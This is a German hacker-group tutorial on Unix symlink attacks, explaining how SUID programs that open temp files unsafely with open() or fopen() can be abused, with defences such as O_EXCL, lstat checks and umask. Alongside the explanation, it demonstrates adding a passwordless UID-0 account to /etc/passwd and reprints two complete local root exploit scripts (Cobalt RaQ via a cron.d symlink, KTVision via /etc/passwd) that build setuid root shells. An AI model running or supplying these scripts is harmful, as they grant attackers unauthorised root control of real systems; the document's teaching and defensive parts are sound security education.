__           __           __                     
  .-----.--.--.----.|  |.--.--.--|  |.-----.--|  |  .-----.----.-----.
  |  -__|_   _|  __||  ||  |  |  _  ||  -__|  _  |__|  _  |   _|  _  |
  |_____|__.__|____||__||_____|_____||_____|_____|__|_____|__| |___  |
   by l0om - member of excluded-team                           |_____|
        
        

                                                       symlink-attack

                          --------------

              Wie Angreifer druch Programmierfehler

                     den Administrator matt setzen

Inhalt:

1.0 Vorwort

2.0 Einfuehrung

3.0 Gefahren bei Programmierroutinen

4.0 Gegenmassnahmen

5.0 Praxisbeispiele vom Securityfocus

5.0 Greets

1.0 Vorwort

Dieser Text behandelt die Entstehung-, Entdeckung-, und Ausnutzung von Symlink Attacken. Vorab- dies ist keine wissenschaftliche Abhandlung der Thematik sondern soll moeglichst vielen Lesern vermitteln koennen was eine Symlink-Attacke ist und wie sieht entsteht.

Dieser Text wurde urspruenglich unter emacs geschrieben doch aufgrund der vielen Besucher die Windows benutzen wurde dieser Text fuer Word optimiert.  # :/

Aber mit Staroffice sollte die Sache auch nett aussehen (got KDE?).

Kommasetzung wurde aufgrund des Geisteszustandes des Authors ganz weggelassen. Rechtschreibfehler koennt ihr euch ausdrucken und an die Wand kleben. # ;)

Der Text bezieht sich auf Programmierroutinen der Programmiersparche C unter UNIX Betriebssystemen. Unter Windows gibt es mit dieser Thematik keine Probleme.

Der Author ist unter innate@gmx.de zu erreichen.

2.0 Einfuehrung

Als Benutzer kommt man staendig mit Dateien in Kontakt. Schon alleine die Tatsache das ein Bentzer ein HOME Verzeichnis besitzt macht dies deutlich. Unter UNIX Betriebsystemen (und UNIX-Clons wie Linux) haben Dateien in der Regel einen Besitzer und eine Gruppe. Wenn beispielsweise der Benutzer thomas Mitglied der Gruppe frauenversteher ist und thomas eine Datei anlegt gehoert die Datei dem Benutzer Thomas und gehoert ebenfalls der Gruppe frauenversteher an.

Welchen Vorteil bringt das?

Bei Unix-Varianten haben Datein bestimmte zugriffsrechte. Das gewährleistet das mehrere an einem System arbeitende Benutzer sich nicht gegenseitig Dateien zerstoeren oder unerlaubterweise Daten kopieren können. So kann Benutzer thomas seiner Datei Lese- Schreib- und Ausfuehrungrechte geben.

Im laufe der Zeit stolpert man ueber mehr und mehr Dateien die sowohl verschiedene Zugriffsrechte besitzen aber auch von verschiedenen Typs sind. Bekannte Dateiformate sind `.txt` oder `.exe`. Neben diesen "Normalen" Dateien existieren in Unix jedoch weitere Arten die man in einfacheren Systemen wie MS-DOS vergebens sucht.

Also:

-Normale Dateien: sind solche, die Daten, Text oder Programme ent-

                 halten koennen.

-Links: Links sind alternative Namen fuer eine Datei, d.h.

        die selbe Datei kann mit einem andern Namen ange-

        sprochen werden.

 °Hard-Links: Werden hier nicht besprochen.

 °Symbolische-Links: Wie oben bereits erwaehnt ist ein Link ein

                     Psydonym fuer eine weitere Datei. Symbloische-

                     Links werden auch "Soft-Links" genannt. Damit

                     koennen Links ueber die Grenzen von Datei-

                     systemen hinweg angelegt werden.

Ein Beispiel macht das Prinzip eines S-Links wohl am besten deutlich. 

Doch zunaechst befassen wir uns mit dem Shell-Kommando "ln". Das zeilenorientierte Programm befindet sich im /bin/ Verzeichnis und ist in der Regel fuer jeden benutzter ausfuehrbar.

ln [option] dateiname linkname   

Erstellen eines Verweises (Link) von dateiname auf linkname.

Option:

-f  : Erzwingt die Erstellung des Links (es wird nicht nach der

      Erlaubnis gefragt).

-n  : Ueberschreibt bestehende Dateien nicht.

-s  : Erstellt einen Symbolischen-Link.

Ein Beispiel:

l0om@home:~/test> ln -s /etc/passwd ./symtest

l0om@home:~/test> ls -l ./symtest

lrwxrwxrwx    1   l0om  500    10 Nov  3 16:32 ./symtest -> /etc/passwd

l0om@home:~/test> # puhh... now iam l337  ;)

l0om@home:~/test> head -n 1 ./symtest

root:x:0:0:root:/root:/bin/bash

l0om@home:~/test> echo "owned" >>./symtest

Permission denied.

In der ersten Eingabeaufforderung haben wir einen Symbolischen-Link von /etc/passwd nach ./symtest erstellt. Mit dem Befehl "ls -l"(wobei ls fuer list steht und die -l Option die Zugriffsrechte anzeigt) lassen wir uns Informationen zur Datei anzeigen. Wie wir an dem "l" am Anfang der Zeile erkennen koennen handelt es sich um einen Link. Die Zugriffsrechte die im Prinzip alles fuer

jeden erlauben beziehen sich natuerlich ausschliesslich auf den Link und nicht auf die verlinkte Datei. "l0om" ist der Besitzer des Links und gehoert der Gruppen-ID 500 an. Es folgt das Datum der letzten Modifikationszeit und am ende

wird der Verweis (von wem auf was) verdeutlicht. Und ob das mit dem Link wirklich alles so glatt ablaeuft pruefen wir indem wir uns die erste Zeile unseres Links (also der /etc/passwd) anzeigen lassen. Das schreiben mit echo in die Datei bleibt uns selbst verstaendlich versagt!

############################NOTE##########################

l0om@host:~> echo fun with the symbolic links

l0om@host:~> mkdir dir1

l0om@host:~> touch dir1/datei

l0om@host:~> ln ../dir1 dir1/dir2

l0om@host:~> ls -LR dir1

l0om@host:~> ^C^C^C^  #Wow!

###########################################################

3.0 Gefahren bei Programmierroutinen

Angreifer sind immer daran interessiert ihre Zugriffsrechte aus zubauen. Das Hauptziel der Bemuehungen des Angreifers sind die Rechte des root(Superusers). Mit diesen Zugriffsrechten hat der Angreifer die totale Kontrolle ueber das System und kann das System seinen Interessen nach manipulieren und benutzen.

Wie gelangt aber ein Angreifer zu diesen Rechten?

Ein Thema das nahezu endlos erscheint. Exploits sind meist an der Eroberung der root Rechte beteiligt. Exploits sind Programme die schlechte/schlampige Programmierroutinen ausnutzen um der Systemsicherheit zu schaedigen. Es

gibt viele Exploit-Methoden:

-Buffer Overflows,

-Format-String attacks,

-Heap Overflows,

-Race Conditons und

-Symlink attacks sind wohl die bekanntesten.

Wie entsteht die Moeglichkeit fuer einen Angreifer die Systemsicherheit mit Hilfe einer Symlink-attacke in die Knie zu zwingen?

Man kann eigentlich sagen: jedesmal wo eine Datei mit Hilfe einer schlampigen Programmierroutine geoeffnet wird kann eine Symlink-Attacke stattfinden. Das Ganze wird besonders gefaehrlich wenn das Programm mit dem SUID-bit ausgefuehrt wird...

Viele Programme erstellen waehrend ihres Ablaufes temporaere Dateien (also Auslagerungsdateien).  Daten werden dort zwischengespeichert und später wieder ausgelesen. Temporaere Dateien werden in meistens im /tmp Verzeichnis erstellt aber es gibt viele bekannte ausnahmen. Aber wie bereits weiter oben erwähnt wurde- kann auch das oeffnen einer High-Score von einem KDE Spiel ausgenutzt werden. Wir nehmen uns einem prominenten Beispiel an das im "Anti-Hacker-Buch"

aufgefuehrt ist.

Bei diesem Beispiel geht es um genau zu sein um den "dtappgather" Angriff auf Solaris. Jedes Mal wenn "dtappgather" ausgefuehrt wird legt es eine temporaere Datei mit dem Namen "/var/dt/appconfig/appmanager/generic-display-0" an und stellt die Dateiberechtigung auf "0666" ein. Ausserdem wird der Benutzer der

das Programm ausfuehrt als Eigentuemer der Datei eingetragen. Leider wird keine logische Pruefung vorgenommen um festzustellen ob die Datei bereits existiert oder ob es sich um einen Symbolischen-Link handelt der auf eine andere Datei zeigt (z.B. /etc/passwd).

Doch wie sieht der Angriff in der Praxis aus?

l0om@home:~> ls -l /etc/passwd

-r-xr-xr-x   1 root root  560  May 5 22:36 /etc/passwd

Es ist zu erkennen das wir als Benutzer l0om die Datei lesen aber logischer weise nicht beschreiben duerfen. Weiter ist zu erkennen das die Datei dem Superuser sowie seiner Gruppe angehoert.

Nun wird ein Link von /var/dt/appconfig/appmanager/generic-display-0

auf /etc/passwd erstellt.

l0om@home:~> ln -s /etc/passwd /var/dt/appconfig/appmanager/generic-display-0

Jetzt wird "dtappgather" ausgefuehrt und anschliessend die Zugriffs-

rechte der /etc/passwd kontrolliert.

l0om@home:~> ls -l /etc/passwd

-r-xr-xr-x    1 l0om l0om  560  May 5 22:36 /etc/passwd

Wie wir sehen koennen ist uns "dtappgather" blindlinks in die Falle gelaufen und hat uns kurzerhand zum Eigentuemer der /etc/passwd ernannt. Leider wird diese nette Funktion des Programms nicht in den mauals gennant...

l0om@home:~> chmod +w /etc/passwd

l0om@home:~> echo "Drl0om::0:0:muhaha:/:/bin/bash" >>/etc/passwd

l0om@home:~> su Drl0om && echo "Schachmatt"

                 # No comment

-Der Teufel liegt im Detail-

Es ist klar- es liegt ein Programmierfehler vor.

Oftmals resultieren solche Programmierfehler aus der fehlerhaften Verwendung der open() oder creat() Funktion.

Definition

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

int open(const char *dateiname, int flags, ... /*, mode_t modus*/ );

   gibt zurueck: Filedeskribtor bei Erfolg, bei Fehler -1.

Dateiname: Name der zu oeffnenden Datei.

flags: Fuer flags koennen die in der fcntl.h definierten Konstanten

       angegeben werden:

       O_RDONLY = Datei nur zum Lesen oeffnen.

       O_WRONLY = Datei nur zum Schreiben oeffnen.

       O_RDWR = Datei zum Lesen und Schreiben oeffnen.

       Von diesen drei Konstanten muss eine fuer flags angegeben

       werden.

       Neben diesen drei Konstanten gibt es weitere optimale

       Flags die mit Hilfe des |-Operators (bitweises OR)

       verknuepft werden muessen.

       O_APPEND = Datei zum Schreiben am Ende oeffnen.

       O_CREAT  = Datei neu anlegen falls sie nicht existiert. in

                  diesem Fall muss auch das dritte Argument (modus)

                  angegeben werden. Modus legt die Zugriffsrechte

                  fuer die neue Datei aus. Falls die Datei bereits

                  existiert hat diese Konstante keine Auswirkungen.

       O_EXCL = Falls O_EXCL zusammen mit O_CREAT angegeben ist kann

                die Datei nicht geoeffnet werden wenn sie bereits

                existiert und open() liefert -1 (fuer Fehler).

       ...

Bei Interesse nach weiteren Optionen:

l0om@home:~> man open

Uns genuegen diese Informationen zunaechst.

Ein kleines Fallbeispiel (dieses Programm besitzt das SUID-bit):

/* start */

...

int fd;

...

fd = open(TMPFILENAME, O_RDWR | O_CREAT, 0666);  /* Omfg */

/* break here */

Hier findet keine logische Pruefung statt ob TMPFILENAME bereits existiert und/oder ob es sich um einen symbolischen Link handelt. Wuerde unser Angreifer bereits im Vorfeld einen symbolischen Link mit dem Namen der Kostanten auf eine wichtige Systemdatei wie die /etc/passwd gesetzt haben haette der diese unter seiner Gewalt.

Im Prinzip eribt sich das selbe beim falschem Aufruf der creat() Funktion.

l0om@host:~> man creat

Eine aehnliche Gefahr ergibt sich mit dem Aufruf der fopen() Funktion.

Definition

#include <stdio.h>

  FILE *fopen(const char *dateiname, const char *modus);

          gibt FILE zeiger auf dateiname zurueck, bei Fehler NULL

dateiname: Name der Datei     # wer haette das vermutet???

modus: Mit diesem Argument wird die Zugriffsart festgelegt.

       "r" : Nur zum Lesen oeffnen.

       "w" : Nur zum Schreiben oeffnen.

       "a" : Zum Schreiben am Dateiende oeffnen.

      "r+" : Zum Schreiben + Lesen oeffnen.

      "w+" : Zum Schreiben + Lesen oeffnen.

      "a+" : Zum Lesen und Schreiben ab Dateiende oeffnen.

Mit besonderer Vorsicht zu geniessen sind wohl die Modis : "w" & "w+". Beim oeffnen der Datei mit den beiden oben genannten Zugriffsarten wird der gesamte Inhalt der bereits existierenden Datei geloescht. Falls die Datei nicht existiert wird sie erstellt. Leider findet auch bei dieser Funktion keinerlei logische Pruefung statt ob es sich bei der zu oeffnenden Datei um einen Link handelt (oder ob sie bereits existiert- das sollte vorher geprueft werden).

Dies koennte ein Angreifer ausnutzen um bzw. den Inhalt von wichtigen Systemdatein zu loeschen (z.B. /etc/passwd, /var/utmp, /var/wtmp ...).

Je nach der weiteren Verwendung der tmp-Datei vom Programm koennen die

Inhalte der der Systemdatein modifiziert werden. Die Vorraussetzung ist dafuer aber das das Programm mit dem SUID-bit ausgestattet ist und diese Berechtigung nicht vor dem oeffnen der Datei mit fopen() mit Hilfe von bzw. setuid(), seteuid(), setsuid(), oder setgid() entzogen wird (fuer freopen() gillt das selbe).

Ein aehnliches Problem ergibt sich bei der Verwendung der tmpfile() Funktion die tmp Dateien mit dem Modus "w+" oeffnet!

#########################NOTE############################

Aber auch im allgemeinen ist vom Kreieren von Auslagerungsdatein mit fopen()  vorsichtig zu sein . Alle neu angelegten Dateien werden naemlich laut POSIX mit den folgen Zugriffsrechten erstellt:

rw-rw-rw-

Das bedeutet das jeder in der Lage waehre den Inhalt der Auslagerungsdatei zu Lesen oder zu Modifizieren.

Aber dies sind Probleme die eigentlich nichts mit symbolischen Links zu tun haben sondern eine Frage von Zugriffsrechten und vertrauenswuerdigen Dateien sind. Daher belassen wir es dabei...

##########################################################

4.0 Gegenmassnahmen

Wie verhindern wir symbolische Link Attacken?

Wie immer fuehren auch hier viele Wege nach Rom.

Aber um es auf den Punkt zu bringen:

DER PROGRAMMIERER MUSS SICH GEWISSHEIT DARUEBER VERSCHAFFEN

OB DIE DATEI BEREITS EXISTIERT!

Wie wir weiter oben ablesen koennen gibt es ein Flag das dies Sicherstellt. O_EXCL. Waehre dieses Flag gesetzt gewesen und unser Angreifer haette das selbe Uebel im Sinn- es wuerde nicht gelingen da dann darauf acht gegeben wuerde ob die Datei bereits existiert. Wenn ja- wird open() die Datei nicht anfassen und sich ganz schnell mit dem Returnwert von -1 verabschieden.

Wie sieht es mit einer logischen Pruefung ob es sich nicht um einen symbolischen Link handelt aus?

Dazu werfen wir einen Blick auf die lstat() Funktion und stat Struktur.

Die stat Struktur enthaelt noetige Informationen einer Datei.

die stat Struktur:

struct stat {

mode_t st_mode;    /* Dateiart und Zugriffsrechte */

ino_t st_ino;      /* i-node Nummer */

dev_t st_dev;      /* Geraetenummer */

dev_t st_rdev;     /* Geraetenummer fuer Geraetedateien */

nlink_t st_nlink;  /* Anzahl der Links */

uid_t st_uid;      /* User-ID des Eigentuemers */

gid_t st_gid;      /* Group-ID des Eigentuemers */

off_t st_size;     /* Groesse in Bytes fuer normale Datei */

time_t st_atime;   /* Zeit des letzten Zugriffs */

time_t st_mtime;   /* Zeit der letzten modifikation */

time_t st_ctime;   /* Zei der letzten aenderung des i-nodes */

long st_blksize;   /* voreingestelte Blockgroesse */

long st_blocks;    /* Anzahl der benoetigten 512 Bytes Bloecke */

};

Definition

int lstat(const char *dateiname, struct stat *puffer);

    Gibt 0 bei Erfolg zurueck, -1 bei Fehler

lstat schreibt wie stat() die Attribute der Datei dateiname in die Strukturvariable puffer. Im Unterschied zu stat() schreibt lstat() fuer den Fall das es sich bei dateiname um einen symbolischen Link handelt die Attribute des Links selbst nach puffer.

Fuer weitere Informationen ueber stat()-Funktionen:

l0om@home:~> man stat

Das Strukturelement st_mode enthaelt Zugriffsrechte sowie die Dateiart. Um die Dateiart aus der Variablen abzulesen werden die Makros aus der sys/stat.h benoetigt.

Makro            liefert TRUE wenn es sich um ... handelt

S_ISREG()        eine regulaere Datei

S_ISDIR()        ein Verzeichnis

S_ISCHR()        ein zeichenorientiertes Geraet

S_ISBLK()        ein blockorientiertes Gerat

S_ISFIFO()       eine FIFO oder PIPE

S_ISLNK()        eine symbolischen Link

S_ISSOCK()       einen Socket

Mit hilfe des S_ISLNK() Makros koennen wir uns davor absichern das es sich um einen symbolsichen Link handelt. Am besten ist aber wohl ehr die verneinte Pruefung:

/* start */

...

struct stat attribut;

...

if(!(S_ISREG(attribut.st_mode))) { fprintf(stderr,"keine regulaere datei\n");

                                   return -1; /* oder andere abhandlung */

                                 }

...

/* end */

Somit schliessen wir ausserdem aus das es sich nicht um eine pipe handelt. Denn auch wenn ich es hier nie erwaehnt habe besteht im Bezug auf Pipes oder FIFOS die selbe Gefahr. Aber dem Angreifer kommt es in der Regel besser gelegen wenn er einen symbolischen Link auf eine andere Datei erstellt.

Kommen wir auf das Problem von tmpfile() zueueck welche die tmp Datei mit "w+" Zugriffsrechten oeffnet. Ist diese Funktion aus diesem Grund auf jeden Fall falsch??

Natuerlich nicht! Es gibt eine Moeglichkeit vordefinierte Zugriffsmasken (wie tmpfile() aber auch fopen() sie verwenden) von Funktionen zu veraendern. Die Funktion umask()...

Definition

#include <sys/types.h>

#include <sys/stat.h>

mode_t umask(mode_t maske);

       Gibt vorherige Zugriffsmaske zurueck

Die Dateikreirungsmaske fuer einen Prozess legt fest welche Rechte beim Erstellen einer Datei NICHT(!) vergeben werden duerfen. Die Maske Stellt also eine Art Sieb dar die darauf achtet das bestimmte Zugriffsrechte nicht an die Datei gelangen. Fuer maske sind verschiedene Flags moeglich die mit | (OR-Operator) verbunden werden koennen.

Konstante   Bedeutung

S_IRUSR     Leserechte fuer Eigentuemer

S_IWUSR     Schreibrechte fuer Eigentuemer

S_IXUSR     Ausfuehrrechte fuer Eigentuemer

 S_IRWXU    Alle drei Rechte fuer Eigentuemer

S_IRGRP     Leserechte fuer Gruppe

S_IWGRP     Schreibrechte fuer Gruppe

S_IXGRP     Ausfuehrrechte fuer Gruppe

 S_IRWXG    Alle drei Rechte fuer die Gruppe

S_IROTH     Leserechte fuer andere Beutzer

S_IWOTH     Schreibrechte fuer andere Benutzer

S_IXOTH     Ausfuerrechte fuer andere Benutzer

 S_IRWXO    Alle drei Rechte fuer andere Benutzer

Unser Programmbeispiel:

/* start */

...

umask(0);     /* alle Zugriffsrechte erlaubt */

...

umask( S_IXWUSR | S_IRWXG | S_IRWXO);

/* es wird festgelegt das es nicht moeglich ist der zu oeffnenden

   Datei Ausfuehrrechte fuer den Benutzer- alle drei Rechte fuer die

   Gruppe- alle drei Rechte fuer die anderen Benutzer zu geben. */

creat("test.tmp", S_IRWXU | S_IRWXG | S_IRWXO); /* erstellte Datei mit allen

                                                   Zugriffsrechten */

/* da alles ausser lese und schreibrechte fuer den eigentuemer

   verboten sind wird die datei mit den folgenden zugriffsrechten

   erstellt:

   rw-------

   dieses Prinzip laesst sich ebenso bei fopen() oder tmpfile() aus-

   fuehren.

*/

...

/* ende */

Schliesslich moechte ich noch auf das Tool L0pht Watch aufmerksam machen welches das /tmp Verzeichnis auf neue Auslagerungsdateien ueberwacht. Das Tool ist frei unter www.l0pht.com/advisories/l0pht-watch.tar.gz erhaeltlich. Damit ist es einfacher moeglich Symlink-attack Verwundbarkeit von Programmen zu entdecken.

5.0 Praxisbeispiele vom Securityfocus

Zum Schluss habe ich noch drei reale Beispiele fuer Symlink-attacks angehaengt. Diese habe ich mir beim SecurityFocus besorgt um zu zeigen das es eine Menge Solcher Programmierfehler gibt die oft katastrophale Auswirkungen haben.

###############################################################################

1) xbreaky

###############################################################################

-----------------------------------------------------------------------

Title:             xbreaky symlink vulnerability

Author:            Marco van Berkum

Classification:    High risk

Date:              12/09/2002

Email:             m.v.berkum@obit.nl

Company:           OBIT

Company site:      http://www.obit.nl

Personal website:  http://ws.obit.nl

-----------------------------------------------------------------------

About xbreaky

-------------

xbreaky is a breakout game for X written by Dave Brul which can be downloaded

from http://xbreaky.sourceforge.net. xbreaky is added to the OpenBSD ports tree,

NetBSD tree and possibly others.

Problem

-------

By default xbreaky is installed as suid and can be abused to overwrite any file

on the filesystem, by any user.

Vulnerable versions

-------------------

All versions prior to 0.0.5

Exploit

-------

xbreaky uses $HOME/.breakyhighscores to write the highscores to, when

$HOME/.breakyhighscores is symlinked to another file (*any* file) it simply

overwrites it as root user.

Example

-------

root@animal:/home/marco# echo "bla" >rootfile

root@animal:/home/marco# chmod 600 rootfile

root@animal:/home/marco# exit

logout

marco@animal:~$ ln -s rootfile .breakyhighscores

marco@animal:~$ xbreaky

Now I play a game and set highscore as user "lol", then I exit the game.

Its a nice game btw :)

marco@animal:~$ cat rootfile

cat: rootfile: Permission denied

marco@animal:~$ su -

Password:

root@animal:~# cat /home/marco/rootfile

lol <- voila, our highscore user

Author's response and solution

------------------------------

The author corrected the problem and released xbreaky 0.0.5

Credits

-------

Thanks to Dennis Oelkers for testing.

##############################################################################

2) Cobalt Linux 6.0 Local Root

##############################################################################

Good morning all,

   I would like to apologise if this is old news, however I dont quite

recall seeing this come across here yet.  I just had a colo customer who

was 100% up to date on cobalt release patches get owned with the following.

#!/bin/sh

#

# Cobalt Linux 6.0 Local Root Exploit

#

# Effects: <= apache-1.3.20-RaQ4_1C3 (AFAIK all Cobalt Linux Apache ;)

# Quick Fix: su - root -c "chmod 755 /usr/lib/authenticate"

#

# Problem Source Code:

# fd = open("gmon.out", O_WRONLY|O_CREAT|O_TRUNC, 0666);

#

# Suggested Code:

# fd = mkstemp("/tmp/gmon.out-XXXXXX");

#

# Still need help Cobalt developers? Ok:

# man 3 tmpfile; man 2 open; echo "Thanks core"

#

# by Charles Stevenson <core@bokeoa.com>

#

# Fri Jun 28 03:35:53 MDT 2002

# - initial version

# Sun Jul 7 20:12:41 MDT 2002

# - added some features for robustness

echo "RaQFuCK.sh by core"

target="/usr/lib/authenticate"

tempdir="/tmp"

if [ -u /.sushi ] ; then

exec /.sushi

fi

printf "Checking for $target..."

if [ -f "$target" ] ; then

echo "done."

else

echo "NO!"

exit 1

fi

printf "Checking if $target is setuid root..."

if [ -u "$target" ] ; then

echo "done."

else

echo "NO! Hrm... does this admin have a clue???"

exit 1

fi

if [ ! -d "$tempdir/core" ]; then

printf "Creating $tempdir/core..."

if ! mkdir "$tempdir/core" 2>/dev/null ; then

echo "FAILED!" ; exit 1

fi

echo "done."

fi

printf "Changing directory to $tempdir/core..."

if ! cd "$tempdir/core" 2>/dev/null ; then

echo "FAILED!" ; exit 1

else

echo "done."

fi

printf "Creating cron.d symlink..."

if ! ln -fs /etc/cron.d/core gmon.out 2>/dev/null; then

echo "FAILED!" ; exit 1

else

echo "done."

fi

printf "Changing umask..."

if ! umask 000 ; then

echo "FAILED!" ; exit 1

else

echo "done."

fi

printf "Compiling root shell..."

cat >sushi.c <<EOF

#include <unistd.h>

int main (int argc, char **argv, char **envp) {

setuid(0);

setgid(0);

execve("/bin/sh",argv,envp);

return -1;

}

EOF

if ! cc sushi.c -o sushi 2>/dev/null; then

echo "FAILED!" ; exit 1

else

echo "done."

fi

printf "Compiling cron takeover..."

cat >takeover.c <<EOF

#include <stdlib.h>

main() { system("cp $tempdir/core/sushi /.sushi ; chmod 6777 /.sushi"); }

EOF

if ! cc takeover.c -o own 2>/dev/null; then

echo "FAILED!" ; exit 1

fi

echo "done."

printf "Performing symlink attack..."

printf "\n\n\n\n" | "$target"

if [ -u /etc/cron.d/core ] ; then

echo "SYMLINK ATTACK FAILED!" && exit 1

else

echo "done."

fi

printf "Setting up evil cron job..."

cat >croncore <<EOF

*/1 * * * * root if [ -x "$tempdir/core/own" ] ; then

"$tempdir/core/own"; fi

EOF

if ! cat croncore 2>/dev/null >/etc/cron.d/core; then

echo "FAILED!" ; exit 1

else

echo "done."

fi

printf "Waiting for root shell"

while [ ! -u /.sushi ] ; do

sleep 1 ; printf "."

done

echo "done."

cd /

printf "Cleaning up real quick..."

if ! /.sushi -c "rm -rf $tempdir/core /etc/cron.d/core"; then

echo "FAILED??? Fuck it!"

else

echo "done."

fi

echo "Spawning root shell!!! God Damn! I say GOD DAMN!!"

if ! exec /.sushi -i; then

echo "Exec Failed!!! BUMMER!" ; exit 1

fi

################################################################################

3) Symlinks Symlinks - This time KTVison

################################################################################

Hi ppl,

the subject already states the problem: there is a symlink follow

problem in the (in many distributions suid root) ktvision binary <=

0.1.1-271.

It is discouraging that nowadays such trivial symlink attacks are still

possible. No comment anymore. In order to be complete: a bash script

demonstrating this vulnerability is attached below.

Ihq.

------------------------- ktv.sh -------------------------------

#!/bin/bash

link=/home/paul/.kde/share/config

linkto=/etc/passwd

target=/opt/kde/bin/ktvision

echo ""

echo "KTVision <= 0.1.1-271 local r00t exploit by IhaQueR"

echo ""

if ! test -u $target ; then

    echo "[-] $target not found"

    exit 1

fi;

echo "[+] $target found"

rm -f sush*

cat <<__DUPA__>>sush.c

#include <stdio.h>

main()

{

    setuid(geteuid());

    setgid(getegid());

    execl("/bin/bash", "/bin/bash", NULL);

}

__DUPA__

echo "    compiling sush"

res=$(gcc sush.c -o sush)

if test "$res" != "" -o ! -x sush ; then

    echo "[-] failed"

    rm sush* ktvback.*

    exit 2;

fi;

echo "[+] success"

cp $linkto ktvback.$$

mkdir -p $link

rm -f $link/ktvisionrc

ln -s $linkto $link/ktvisionrc

echo ""

echo -n "now running... (ensure that X is up and running)"

$target >/dev/null 2>&1 &

cpid=$!

declare -i cnt

declare -i max

cnt=0

max=60

while ! test -O $linkto ; do

    sleep 1;

    printf "  %.2d" $cnt

    cnt=$(($cnt+1))

    if test $cnt -ge $max ; then

         echo ""

         echo ""

         echo "[-] FAILED"

         rm sush* ktvback.*

         exit 2;

    fi;

done;

kill -9 $cpid >/dev/null 2>&1

rm $link/ktvisionrc

echo ""

echo ""

echo "[+] SUCCESS, creating sush"

echo >>$linkto "r00t::0:0:root:/root:/bin/bash"

echo ""

su r00t -c "chown 0.0 sush; chmod u+s sush; chmod g+s sush; cp

ktvback.$$ $linkto; chown 0.0 $linkto"

rm ktvback.* sush.c

if ! test -u sush ; then

        echo "    hm strange error"

    rm sush* ktvback.*

        exit 1

fi;

echo ""

echo "starting ./sush"

./sush

#!plonk

6.0 Greets

The whole Toxic Source Developers (http://t-s-d.de.vu) 

Strcat, Bofh, (by the way... I miss the 3d-crew and their cool daulogs!)

Excluded-Team, HDC, Buha, Kryptocrew...

(guys form long time ago like: WIT or joker(still the sub-7 h4x0R??)).

Cool bands wich will never receive my greets like: strungout, face to face, propagandhi and so on :).

l0om

http://excluded.org/